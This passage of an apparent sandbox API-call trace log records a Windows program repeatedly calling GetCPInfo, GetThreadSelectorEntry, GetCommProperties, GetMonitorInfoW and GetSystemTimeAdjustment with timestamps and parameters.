lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.574] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.574] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.574] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.574] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.574] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.574] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.574] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.575] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.575] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.575] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.575] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.575] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.575] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.575] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.575] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.575] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.575] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.575] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.575] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.575] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.575] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.575] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.575] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.575] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.575] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.575] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.575] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.575] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.575] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.575] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.575] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.576] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.576] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.576] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.576] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.576] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.576] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.576] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.576] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.576] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.576] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.576] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.576] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.576] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.576] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.576] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.576] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.576] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.576] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.576] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.577] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.577] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.577] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.577] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.577] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.577] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.577] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.577] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.577] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.577] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.577] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.577] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.577] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.577] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.577] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.577] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.577] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.577] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.577] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.577] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.577] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.577] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.577] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.577] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.578] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.578] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.578] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.578] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.578] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.578] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.578] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.578] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.578] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.578] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.578] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.578] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.578] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.578] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.578] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.578] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.578] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.578] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.578] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.578] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.578] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.578] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.578] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.578] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.579] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.579] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.579] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.579] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.579] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.579] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.579] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.579] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.579] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.579] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.579] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.579] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.579] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.579] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.579] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.579] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.579] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.579] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.579] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.579] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.579] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.579] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.579] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.579] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.579] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.580] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.580] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.580] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.580] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.580] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.580] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.580] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.580] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.580] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.580] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.580] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.580] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.580] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.580] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.580] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.580] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.580] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.580] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.580] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.580] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.580] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.580] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.580] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.580] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.580] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.581] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.581] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.581] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.581] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.581] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.581] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.581] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.581] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.581] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.581] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.581] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.581] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.581] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.581] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.581] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.581] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.581] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.581] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.581] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.581] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.581] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.581] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.581] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.581] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.581] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.581] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.581] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.581] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.581] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.581] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.582] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.582] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.582] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.582] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, 